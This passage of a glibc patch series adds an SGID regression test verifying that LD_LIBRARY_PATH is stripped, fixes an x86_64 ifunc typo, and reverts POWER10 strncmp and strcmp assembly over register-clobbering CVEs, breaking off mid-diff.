+diff --git a/elf/tst-dlopen-sgid-mod.c b/elf/tst-dlopen-sgid-mod.c
+new file mode 100644
+index 0000000000..5eb79eef48
+--- /dev/null
++++ b/elf/tst-dlopen-sgid-mod.c
+@@ -0,0 +1 @@
++/* Opening this object should not succeed.  */
+diff --git a/elf/tst-dlopen-sgid.c b/elf/tst-dlopen-sgid.c
+new file mode 100644
+index 0000000000..47829a405e
+--- /dev/null
++++ b/elf/tst-dlopen-sgid.c
+@@ -0,0 +1,104 @@
++/* Test case for ignored LD_LIBRARY_PATH in static startug (bug 32976).
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <dlfcn.h>
++#include <gnu/lib-names.h>
++#include <stddef.h>
++#include <stdint.h>
++#include <stdlib.h>
++#include <string.h>
++#include <support/capture_subprocess.h>
++#include <support/check.h>
++#include <support/support.h>
++#include <support/temp_file.h>
++#include <unistd.h>
++
++/* This is the name of our test object.  Use a custom module for
++   testing, so that this object does not get picked up from the system
++   path.  */
++static const char dso_name[] = "tst-dlopen-sgid-mod.so";
++
++/* Used to mark the recursive invocation.  */
++static const char magic_argument[] = "run-actual-test";
++
++static int
++do_test (void)
++{
++/* Pathname of the directory that receives the shared objects this
++   test attempts to load.  */
++  char *libdir = support_create_temp_directory ("tst-dlopen-sgid-");
++
++  /* This is supposed to be ignored and stripped.  */
++  TEST_COMPARE (setenv ("LD_LIBRARY_PATH", libdir, 1), 0);
++
++  /* Copy of libc.so.6.  */
++  {
++    char *from = xasprintf ("%s/%s", support_objdir_root, LIBC_SO);
++    char *to = xasprintf ("%s/%s", libdir, LIBC_SO);
++    add_temp_file (to);
++    support_copy_file (from, to);
++    free (to);
++    free (from);
++  }
++
++  /* Copy of the test object.   */
++  {
++    char *from = xasprintf ("%s/elf/%s", support_objdir_root, dso_name);
++    char *to = xasprintf ("%s/%s", libdir, dso_name);
++    add_temp_file (to);
++    support_copy_file (from, to);
++    free (to);
++    free (from);
++  }
++
++  TEST_COMPARE (support_capture_subprogram_self_sgid (magic_argument), 0);
++
++  free (libdir);
++
++  return 0;
++}
++
++static void
++alternative_main (int argc, char **argv)
++{
++  if (argc == 2 && strcmp (argv[1], magic_argument) == 0)
++    {
++      if (getgid () == getegid ())
++        /* This can happen if the file system is mounted nosuid.  */
++        FAIL_UNSUPPORTED ("SGID failed: GID and EGID match (%jd)\n",
++                          (intmax_t) getgid ());
++
++      /* Should be removed due to SGID.  */
++      TEST_COMPARE_STRING (getenv ("LD_LIBRARY_PATH"), NULL);
++
++      TEST_VERIFY (dlopen (dso_name, RTLD_NOW) == NULL);
++      {
++        const char *message = dlerror ();
++        TEST_COMPARE_STRING (message,
++                             "tst-dlopen-sgid-mod.so:"
++                             " cannot open shared object file:"
++                             " No such file or directory");
++      }
++
++      support_record_failure_barrier ();
++      exit (EXIT_SUCCESS);
++    }
++}
++
++#define PREPARE alternative_main
++#include <support/test-driver.c>
+
+commit 56e75b810ac39b0e390be5b66397dca0cdfa4d80
+Author: Sunil K Pandey <sunil.k.pandey@intel.com>
+Date:   Tue May 20 10:07:27 2025 -0700
+
+    x86_64: Fix typo in ifunc-impl-list.c.
+    
+    Fix wcsncpy and wcpncpy typo in ifunc-impl-list.c.
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit f2aeb6ff941dccc4c777b5621e77addea6cc076c)
+
+diff --git a/sysdeps/x86_64/multiarch/ifunc-impl-list.c b/sysdeps/x86_64/multiarch/ifunc-impl-list.c
+index 0bbb71bbbf..3db45db39b 100644
+--- a/sysdeps/x86_64/multiarch/ifunc-impl-list.c
++++ b/sysdeps/x86_64/multiarch/ifunc-impl-list.c
+@@ -922,7 +922,7 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+ 				     (CPU_FEATURE_USABLE (AVX2)
+ 				      && CPU_FEATURE_USABLE (BMI2)),
+ 				     __wcsncpy_avx2)
+-	      X86_IFUNC_IMPL_ADD_V2 (array, i, wcpncpy,
++	      X86_IFUNC_IMPL_ADD_V2 (array, i, wcsncpy,
+ 				     1,
+ 				     __wcsncpy_generic))
+ 
+@@ -952,7 +952,7 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+ 				     (CPU_FEATURE_USABLE (AVX2)
+ 				      && CPU_FEATURE_USABLE (BMI2)),
+ 				     __wcpncpy_avx2)
+-	      X86_IFUNC_IMPL_ADD_V2 (array, i, wcsncpy,
++	      X86_IFUNC_IMPL_ADD_V2 (array, i, wcpncpy,
+ 				     1,
+ 				     __wcpncpy_generic))
+ 
+
+commit c8e10f14328518954072df64aafd574e67cfdde5
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Wed May 21 08:43:32 2025 +0200
+
+    elf: Fix subprocess status handling for tst-dlopen-sgid (bug 32987)
+    
+    This should really move into support_capture_subprogram_self_sgid.
+    
+    Reviewed-by: Sam James <sam@gentoo.org>
+    (cherry picked from commit 35fc356fa3b4f485bd3ba3114c9f774e5df7d3c2)
+
+diff --git a/NEWS b/NEWS
+index 7a6985f5dd..4b290ad4bf 100644
+--- a/NEWS
++++ b/NEWS
+@@ -23,6 +23,7 @@ The following bugs are resolved with this release:
+   [32245] glibc -Wstringop-overflow= build failure on hppa
+   [32470] x86: Avoid integer truncation with large cache sizes
+   [32810] Crash on x86-64 if XSAVEC disable via tunable
++  [32987] elf: Fix subprocess status handling for tst-dlopen-sgid
+ 
+ Version 2.40
+ 
+diff --git a/elf/tst-dlopen-sgid.c b/elf/tst-dlopen-sgid.c
+index 47829a405e..5688b79f2e 100644
+--- a/elf/tst-dlopen-sgid.c
++++ b/elf/tst-dlopen-sgid.c
+@@ -26,6 +26,8 @@
+ #include <support/check.h>
+ #include <support/support.h>
+ #include <support/temp_file.h>
++#include <support/test-driver.h>
++#include <sys/wait.h>
+ #include <unistd.h>
+ 
+ /* This is the name of our test object.  Use a custom module for
+@@ -66,10 +68,16 @@ do_test (void)
+     free (from);
+   }
+ 
+-  TEST_COMPARE (support_capture_subprogram_self_sgid (magic_argument), 0);
+-
+   free (libdir);
+ 
++  int status = support_capture_subprogram_self_sgid (magic_argument);
++
++  if (WEXITSTATUS (status) == EXIT_UNSUPPORTED)
++    return EXIT_UNSUPPORTED;
++
++  if (!WIFEXITED (status))
++    FAIL_EXIT1 ("Unexpected exit status %d from child process\n", status);
++
+   return 0;
+ }
+ 
+
+commit 42a5a940c974d02540c8da26d6374c744d148cb9
+Author: Carlos O'Donell <carlos@redhat.com>
+Date:   Wed Jun 11 09:19:17 2025 -0400
+
+    ppc64le: Revert "powerpc: Optimized strncmp for power10" (CVE-2025-5745)
+    
+    This reverts commit 23f0d81608d0ca6379894ef81670cf30af7fd081
+    
+    Reason for revert: Power10 strncmp clobbers non-volatile vector
+    registers (Bug 33060)
+    
+    Tested on ppc64le with no regressions.
+    
+    (cherry picked from commit 63c60101ce7c5eac42be90f698ba02099b41b965)
+
+diff --git a/sysdeps/powerpc/powerpc64/le/power10/strncmp.S b/sysdeps/powerpc/powerpc64/le/power10/strncmp.S
+deleted file mode 100644
+index d4ba76acae..0000000000
+--- a/sysdeps/powerpc/powerpc64/le/power10/strncmp.S
++++ /dev/null
+@@ -1,271 +0,0 @@
+-/* Optimized strncmp implementation for PowerPC64/POWER10.
+-   Copyright (C) 2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#include <sysdep.h>
+-
+-/* Implements the function
+-
+-   int [r3] strncmp (const char *s1 [r3], const char *s2 [r4], size_t [r5] n)
+-
+-   The implementation uses unaligned doubleword access to avoid specialized
+-   code paths depending of data alignment for first 32 bytes and uses
+-   vectorised loops after that.  */
+-
+-#ifndef STRNCMP
+-# define STRNCMP strncmp
+-#endif
+-
+-/* TODO: Change this to actual instructions when minimum binutils is upgraded
+-   to 2.27.  Macros are defined below for these newer instructions in order
+-   to maintain compatibility.  */
+-
+-#define LXVP(xtp,dq,ra)              \
+-	.long(((6)<<(32-6))          \
+-	| ((((xtp)-32)>>1)<<(32-10)) \
+-	| ((1)<<(32-11))             \
+-	| ((ra)<<(32-16))            \
+-	| dq)
+-
+-#define COMPARE_16(vreg1,vreg2,offset) \
+-	lxv	  vreg1+32,offset(r3); \
+-	lxv	  vreg2+32,offset(r4); \
+-	vcmpnezb. v7,vreg1,vreg2;      \
+-	bne	  cr6,L(different);    \
+-	cmpldi	  cr7,r5,16;           \
+-	ble	  cr7,L(ret0);         \
+-	addi	  r5,r5,-16;
+-
+-#define COMPARE_32(vreg1,vreg2,offset,label1,label2) \
+-	LXVP(vreg1+32,offset,r3);                    \
+-	LXVP(vreg2+32,offset,r4);                    \
+-	vcmpnezb. v7,vreg1+1,vreg2+1;                \
+-	bne	  cr6,L(label1);                     \
+-	vcmpnezb. v7,vreg1,vreg2;                    \
+-	bne	  cr6,L(label2);                     \
+-	cmpldi	  cr7,r5,32;                         \
+-	ble	  cr7,L(ret0);                       \
+-	addi	  r5,r5,-32;
+-
+-#define TAIL_FIRST_16B(vreg1,vreg2) \
+-	vctzlsbb r6,v7;             \
+-	cmpld	 cr7,r5,r6;         \
+-	ble	 cr7,L(ret0);       \
+-	vextubrx r5,r6,vreg1;       \
+-	vextubrx r4,r6,vreg2;       \
+-	subf	 r3,r4,r5;          \
+-	blr;
+-
+-#define TAIL_SECOND_16B(vreg1,vreg2) \
+-	vctzlsbb r6,v7;              \
+-	addi	 r0,r6,16;           \
+-	cmpld	 cr7,r5,r0;          \
+-	ble	 cr7,L(ret0);        \
+-	vextubrx r5,r6,vreg1;        \
+-	vextubrx r4,r6,vreg2;        \
+-	subf	 r3,r4,r5;           \
+-	blr;
+-
+-#define CHECK_N_BYTES(reg1,reg2,len_reg) \
+-	sldi	  r6,len_reg,56;	 \
+-	lxvl	  32+v4,reg1,r6;	 \
+-	lxvl	  32+v5,reg2,r6;	 \
+-	add	  reg1,reg1,len_reg;	 \
+-	add	  reg2,reg2,len_reg;	 \
+-	vcmpnezb  v7,v4,v5;		 \
+-	vctzlsbb  r6,v7;		 \
+-	cmpld	  cr7,r6,len_reg;	 \
+-	blt	  cr7,L(different);	 \
+-	cmpld	  cr7,r5,len_reg;	 \
+-	ble	  cr7,L(ret0);		 \
+-	sub	  r5,r5,len_reg;	 \
+-
+-	/* TODO: change this to .machine power10 when the minimum required
+-	 binutils allows it.  */
+-	.machine  power9
+-ENTRY_TOCLESS (STRNCMP, 4)
+-	/* Check if size is 0.  */
+-	cmpdi	 cr0,r5,0
+-	beq	 cr0,L(ret0)
+-	andi.   r7,r3,4095
+-	andi.   r8,r4,4095
+-	cmpldi  cr0,r7,4096-16
+-	cmpldi  cr1,r8,4096-16
+-	bgt     cr0,L(crosses)
+-	bgt     cr1,L(crosses)
+-	COMPARE_16(v4,v5,0)
+-	addi	r3,r3,16
+-	addi	r4,r4,16
+-
+-L(crosses):
+-	andi.	 r7,r3,15
+-	subfic	 r7,r7,16	/* r7(nalign1) = 16 - (str1 & 15).  */
+-	andi.	 r9,r4,15
+-	subfic	 r8,r9,16	/* r8(nalign2) = 16 - (str2 & 15).  */
+-	cmpld	 cr7,r7,r8
+-	beq	 cr7,L(same_aligned)
+-	blt	 cr7,L(nalign1_min)
+-
+-	/* nalign2 is minimum and s2 pointer is aligned.  */
+-	CHECK_N_BYTES(r3,r4,r8)
+-	/* Are we on the 64B hunk which crosses a page?  */
+-	andi.   r10,r3,63       /* Determine offset into 64B hunk.  */
+-	andi.   r8,r3,15        /* The offset into the 16B hunk.  */
+-	neg     r7,r3
+-	andi.   r9,r7,15        /* Number of bytes after a 16B cross.  */
+-	rlwinm. r7,r7,26,0x3F   /* ((r4-4096))>>6&63.  */
+-	beq     L(compare_64_pagecross)
+-	mtctr   r7
+-	b       L(compare_64B_unaligned)
+-
+-	/* nalign1 is minimum and s1 pointer is aligned.  */
+-L(nalign1_min):
+-	CHECK_N_BYTES(r3,r4,r7)
+-	/* Are we on the 64B hunk which crosses a page?  */
+-	andi.   r10,r4,63       /* Determine offset into 64B hunk.  */
+-	andi.   r8,r4,15        /* The offset into the 16B hunk.  */
+-	neg     r7,r4
+-	andi.   r9,r7,15        /* Number of bytes after a 16B cross.  */
+-	rlwinm. r7,r7,26,0x3F   /* ((r4-4096))>>6&63.  */
+-	beq     L(compare_64_pagecross)
+-	mtctr   r7
+-
+-	.p2align 5
+-L(compare_64B_unaligned):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi    r3,r3,64
+-	addi    r4,r4,64
+-	bdnz    L(compare_64B_unaligned)
+-
+-	/* Cross the page boundary of s2, carefully. Only for first
+-	iteration we have to get the count of 64B blocks to be checked.
+-	From second iteration and beyond, loop counter is always 63.  */
+-L(compare_64_pagecross):
+-	li      r11, 63
+-	mtctr   r11
+-	cmpldi  r10,16
+-	ble     L(cross_4)
+-	cmpldi  r10,32
+-	ble     L(cross_3)
+-	cmpldi  r10,48
+-	ble     L(cross_2)
+-L(cross_1):
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	addi    r3,r3,48
+-	addi    r4,r4,48
+-	b       L(compare_64B_unaligned)
+-L(cross_2):
+-	COMPARE_16(v4,v5,0)
+-	addi    r3,r3,16
+-	addi    r4,r4,16
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	addi    r3,r3,32
+-	addi    r4,r4,32
+-	b       L(compare_64B_unaligned)
+-L(cross_3):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	addi    r3,r3,32
+-	addi    r4,r4,32
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
+-	addi    r3,r3,16
+-	addi    r4,r4,16
+-	b       L(compare_64B_unaligned)
+-L(cross_4):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	addi    r3,r3,48
+-	addi    r4,r4,48
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	b       L(compare_64B_unaligned)
+-
+-L(same_aligned):
+-	CHECK_N_BYTES(r3,r4,r7)
+-	/* Align s1 to 32B and adjust s2 address.
+-	   Use lxvp only if both s1 and s2 are 32B aligned.  */
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi	r3,r3,64
+-	addi	r4,r4,64
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	addi	r5,r5,32
+-
+-	clrldi  r6,r3,59
+-	subfic	r7,r6,32
+-	add	r3,r3,r7
+-	add	r4,r4,r7
+-	subf	r5,r7,r5
+-	andi.	r7,r4,0x1F
+-	beq	cr0,L(32B_aligned_loop)
+-
+-	.p2align 5
+-L(16B_aligned_loop):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi	r3,r3,64
+-	addi	r4,r4,64
+-	b	L(16B_aligned_loop)
+-
+-	/* Calculate and return the difference.  */
+-L(different):
+-	TAIL_FIRST_16B(v4,v5)
+-
+-	.p2align 5
+-L(32B_aligned_loop):
+-	COMPARE_32(v14,v16,0,tail1,tail2)
+-	COMPARE_32(v18,v20,32,tail3,tail4)
+-	COMPARE_32(v22,v24,64,tail5,tail6)
+-	COMPARE_32(v26,v28,96,tail7,tail8)
+-	addi	r3,r3,128
+-	addi	r4,r4,128
+-	b	L(32B_aligned_loop)
+-
+-L(tail1): TAIL_FIRST_16B(v15,v17)
+-L(tail2): TAIL_SECOND_16B(v14,v16)
+-L(tail3): TAIL_FIRST_16B(v19,v21)
+-L(tail4): TAIL_SECOND_16B(v18,v20)
+-L(tail5): TAIL_FIRST_16B(v23,v25)
+-L(tail6): TAIL_SECOND_16B(v22,v24)
+-L(tail7): TAIL_FIRST_16B(v27,v29)
+-L(tail8): TAIL_SECOND_16B(v26,v28)
+-
+-	.p2align 5
+-L(ret0):
+-	li	r3,0
+-	blr
+-
+-END(STRNCMP)
+-libc_hidden_builtin_def(strncmp)
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/Makefile b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+index b847c19049..a38ff46448 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/Makefile
++++ b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+@@ -34,7 +34,7 @@ ifneq (,$(filter %le,$(config-machine)))
+ sysdep_routines += memchr-power10 memcmp-power10 memcpy-power10 \
+ 		   memmove-power10 memset-power10 rawmemchr-power9 \
+ 		   rawmemchr-power10 strcmp-power9 strcmp-power10 \
+-		   strncmp-power9 strncmp-power10 strcpy-power9 stpcpy-power9 \
++		   strncmp-power9 strcpy-power9 stpcpy-power9 \
+ 		   strlen-power9 strncpy-power9 stpncpy-power9 strlen-power10
+ endif
+ CFLAGS-strncase-power7.c += -mcpu=power7 -funroll-loops
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+index 2bb47d3527..30fd89e109 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+@@ -164,9 +164,6 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+   /* Support sysdeps/powerpc/powerpc64/multiarch/strncmp.c.  */
+   IFUNC_IMPL (i, name, strncmp,
+ #ifdef __LITTLE_ENDIAN__
+-	      IFUNC_IMPL_ADD (array, i, strncmp, hwcap2 & PPC_FEATURE2_ARCH_3_1
+-			      && hwcap & PPC_FEATURE_HAS_VSX,
+-			      __strncmp_power10)
+ 	      IFUNC_IMPL_ADD (array, i, strncmp, hwcap2 & PPC_FEATURE2_ARCH_3_00
+ 			      && hwcap & PPC_FEATURE_HAS_ALTIVEC,
+ 			      __strncmp_power9)
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/strncmp-power10.S b/sysdeps/powerpc/powerpc64/multiarch/strncmp-power10.S
+deleted file mode 100644
+index d7026c12e2..0000000000
+--- a/sysdeps/powerpc/powerpc64/multiarch/strncmp-power10.S
++++ /dev/null
+@@ -1,25 +0,0 @@
+-/* Copyright (C) 2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#if defined __LITTLE_ENDIAN__ && IS_IN (libc)
+-#define STRNCMP __strncmp_power10
+-
+-#undef libc_hidden_builtin_def
+-#define libc_hidden_builtin_def(name)
+-
+-#include <sysdeps/powerpc/powerpc64/le/power10/strncmp.S>
+-#endif
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/strncmp.c b/sysdeps/powerpc/powerpc64/multiarch/strncmp.c
+index a5ed67f766..6178f4a432 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/strncmp.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/strncmp.c
+@@ -29,7 +29,6 @@ extern __typeof (strncmp) __strncmp_ppc attribute_hidden;
+ extern __typeof (strncmp) __strncmp_power8 attribute_hidden;
+ # ifdef __LITTLE_ENDIAN__
+ extern __typeof (strncmp) __strncmp_power9 attribute_hidden;
+-extern __typeof (strncmp) __strncmp_power10 attribute_hidden;
+ # endif
+ # undef strncmp
+ 
+@@ -37,9 +36,6 @@ extern __typeof (strncmp) __strncmp_power10 attribute_hidden;
+    ifunc symbol properly.  */
+ libc_ifunc_redirected (__redirect_strncmp, strncmp,
+ # ifdef __LITTLE_ENDIAN__
+-			(hwcap2 & PPC_FEATURE2_ARCH_3_1
+-			 && hwcap & PPC_FEATURE_HAS_VSX)
+-			? __strncmp_power10 :
+ 			(hwcap2 & PPC_FEATURE2_ARCH_3_00
+ 			 && hwcap & PPC_FEATURE_HAS_ALTIVEC)
+ 			? __strncmp_power9 :
+
+commit 2ad6e55ea5cb23af5af7af35d5f80cd93032f96a
+Author: Carlos O'Donell <carlos@redhat.com>
+Date:   Wed Jun 11 09:43:50 2025 -0400
+
+    ppc64le: Revert "powerpc: Fix performance issues of strcmp power10" (CVE-2025-5702)
+    
+    This reverts commit 90bcc8721ef82b7378d2b080141228660e862d56
+    
+    This change is in the chain of the final revert that fixes the CVE
+    i.e. 3367d8e180848030d1646f088759f02b8dfe0d6f
+    
+    Reason for revert: Power10 strcmp clobbers non-volatile vector
+    registers (Bug 33056)
+    
+    Tested on ppc64le with no regressions.
+    
+    (cherry picked from commit c22de63588df7a8a0edceea9bb02534064c9d201)
+
+diff --git a/sysdeps/powerpc/powerpc64/le/power10/strcmp.S b/sysdeps/powerpc/powerpc64/le/power10/strcmp.S
+index f0d6732a25..00f1e9c170 100644
+--- a/sysdeps/powerpc/powerpc64/le/power10/strcmp.S
++++ b/sysdeps/powerpc/powerpc64/le/power10/strcmp.S
+@@ -62,7 +62,7 @@
+ 	lxvl	  32+v5,reg2,r0;         \
+ 	add	  reg1,reg1,len_reg;     \
+ 	add	  reg2,reg2,len_reg;     \
+-	vcmpnezb  v7,v4,v5;              \
++	vcmpnezb. v7,v4,v5;              \
+ 	vctzlsbb  r6,v7;                 \
+ 	cmpld	  cr7,r6,len_reg;        \
+ 	blt	  cr7,L(different);      \
+@@ -72,110 +72,70 @@
+ 
+ 	.machine  power9
+ ENTRY_TOCLESS (STRCMP, 4)
+-	andi.	r7,r3,4095
+-	andi.	r8,r4,4095
+-	cmpldi	cr0,r7,4096-16
+-	cmpldi	cr1,r8,4096-16
+-	bgt	cr0,L(crosses)
+-	bgt	cr1,L(crosses)
+-	COMPARE_16(v4,v5,0)
+-
+-L(crosses):
+-	andi.	r7,r3,15
+-	subfic	r7,r7,16	/* r7(nalign1) = 16 - (str1 & 15).  */
+-	andi.	r9,r4,15
+-	subfic	r5,r9,16	/* r5(nalign2) = 16 - (str2 & 15).  */
+-	cmpld	cr7,r7,r5
+-	beq	cr7,L(same_aligned)
+-	blt	cr7,L(nalign1_min)
++	li	 r11,16
++	/* eq bit of cr1 used as swap status flag to indicate if
++	source pointers were swapped.  */
++	crclr	 4*cr1+eq
++	vspltisb v19,-1
++	andi.	 r7,r3,15
++	sub	 r7,r11,r7	/* r7(nalign1) = 16 - (str1 & 15).  */
++	andi.	 r9,r4,15
++	sub	 r5,r11,r9	/* r5(nalign2) = 16 - (str2 & 15).  */
++	cmpld	 cr7,r7,r5
++	beq	 cr7,L(same_aligned)
++	blt	 cr7,L(nalign1_min)
++	/* Swap r3 and r4, and r7 and r5 such that r3 and r7 hold the
++	pointer which is closer to the next 16B boundary so that only
++	one CHECK_N_BYTES is needed before entering the loop below.  */
++	mr	 r8,r4
++	mr	 r4,r3
++	mr	 r3,r8
++	mr	 r12,r7
++	mr	 r7,r5
++	mr	 r5,r12
++	crset	 4*cr1+eq	/* Set bit on swapping source pointers.  */
+ 
+-	/* nalign2 is minimum and s2 pointer is aligned.  */
+-	CHECK_N_BYTES(r3,r4,r5)
+-	/* Are we on the 64B hunk which crosses a page?  */
+-	andi.	r10,r3,63	/* Determine offset into 64B hunk.  */
+-	andi.	r8,r3,15        /* The offset into the 16B hunk.  */
+-	neg	r7,r3
+-	andi.	r9,r7,15	/* Number of bytes after a 16B cross.  */
+-	rlwinm.	r7,r7,26,0x3F	/* ((r3-4096))>>6&63.  */
+-	beq	L(compare_64_pagecross)
+-	mtctr	r7
+-	b	L(compare_64B_unaligned)
+-
+-	/* nalign1 is minimum and s1 pointer is aligned.  */
++	.p2align 5
+ L(nalign1_min):
+ 	CHECK_N_BYTES(r3,r4,r7)
+-	/* Are we on the 64B hunk which crosses a page?  */
+-	andi.	r10,r4,63	/* Determine offset into 64B hunk.  */
+-	andi.	r8,r4,15	/* The offset into the 16B hunk.  */
+-	neg	r7,r4
+-	andi.	r9,r7,15	/* Number of bytes after a 16B cross.  */
+-	rlwinm. r7,r7,26,0x3F	/* ((r4-4096))>>6&63.  */
+-	beq	L(compare_64_pagecross)
+-	mtctr	r7
+ 
+ 	.p2align 5
+-L(compare_64B_unaligned):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi	r3,r3,64
+-	addi	r4,r4,64
+-	bdnz	L(compare_64B_unaligned)
++L(s1_aligned):
++	/* r9 and r5 is number of bytes to be read after and before
++	 page boundary correspondingly.  */
++	sub 	r5,r5,r7
++	subfic	r9,r5,16
++	/* Now let r7 hold the count of quadwords which can be
++	checked without crossing a page boundary. quadword offset is
++	(str2>>4)&0xFF.  */
++	rlwinm	r7,r4,28,0xFF
++	/* Below check is required only for first iteration. For second
++	iteration and beyond, the new loop counter is always 255.  */
++	cmpldi	r7,255
++	beq	L(L3)
++	/* Get the initial loop count by 255-((str2>>4)&0xFF).  */
++	subfic  r11,r7,255
+ 
+-	/* Cross the page boundary of s2, carefully. Only for first
+-	iteration we have to get the count of 64B blocks to be checked.
+-	From second iteration and beyond, loop counter is always 63.  */
+-L(compare_64_pagecross):
+-	li	r11, 63
++	.p2align 5
++L(L1):
+ 	mtctr	r11
+-	cmpldi	r10,16
+-	ble	L(cross_4)
+-	cmpldi	r10,32
+-	ble	L(cross_3)
+-	cmpldi	r10,48
+-	ble	L(cross_2)
+-L(cross_1):
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	addi	r3,r3,48
+-	addi	r4,r4,48
+-	b	L(compare_64B_unaligned)
+-L(cross_2):
+-	COMPARE_16(v4,v5,0)
+-	addi	r3,r3,16
+-	addi	r4,r4,16
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	addi	r3,r3,32
+-	addi	r4,r4,32
+-	b	L(compare_64B_unaligned)
+-L(cross_3):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	addi	r3,r3,32
+-	addi	r4,r4,32
+-	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	COMPARE_16(v4,v5,0)
++
++	.p2align 5
++L(L2):
++	COMPARE_16(v4,v5,0)	/* Load 16B blocks using lxv.  */
+ 	addi	r3,r3,16
+ 	addi	r4,r4,16
+-	b	L(compare_64B_unaligned)
+-L(cross_4):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	addi	r3,r3,48
+-	addi	r4,r4,48
++	bdnz	L(L2)
++	/* Cross the page boundary of s2, carefully.  */
++
++	.p2align 5
++L(L3):
++	CHECK_N_BYTES(r3,r4,r5)
+ 	CHECK_N_BYTES(r3,r4,r9)
+-	CHECK_N_BYTES(r3,r4,r8)
+-	b	L(compare_64B_unaligned)
++	li 	r11,255		/* Load the new loop counter.  */
++	b	L(L1)
+ 
++	.p2align 5
+ L(same_aligned):
+ 	CHECK_N_BYTES(r3,r4,r7)
+         /* Align s1 to 32B and adjust s2 address.
+@@ -208,7 +168,18 @@ L(16B_aligned_loop):
+ 
+ 	/* Calculate and return the difference.  */
+ L(different):
+-	TAIL(v4,v5)
++	vctzlsbb r6,v7
++	vextubrx r5,r6,v4
++	vextubrx r4,r6,v5
++	bt  	 4*cr1+eq,L(swapped)
++	subf	 r3,r4,r5
++	blr
++
++	/* If src pointers were swapped, then swap the
++	indices and calculate the return value.  */
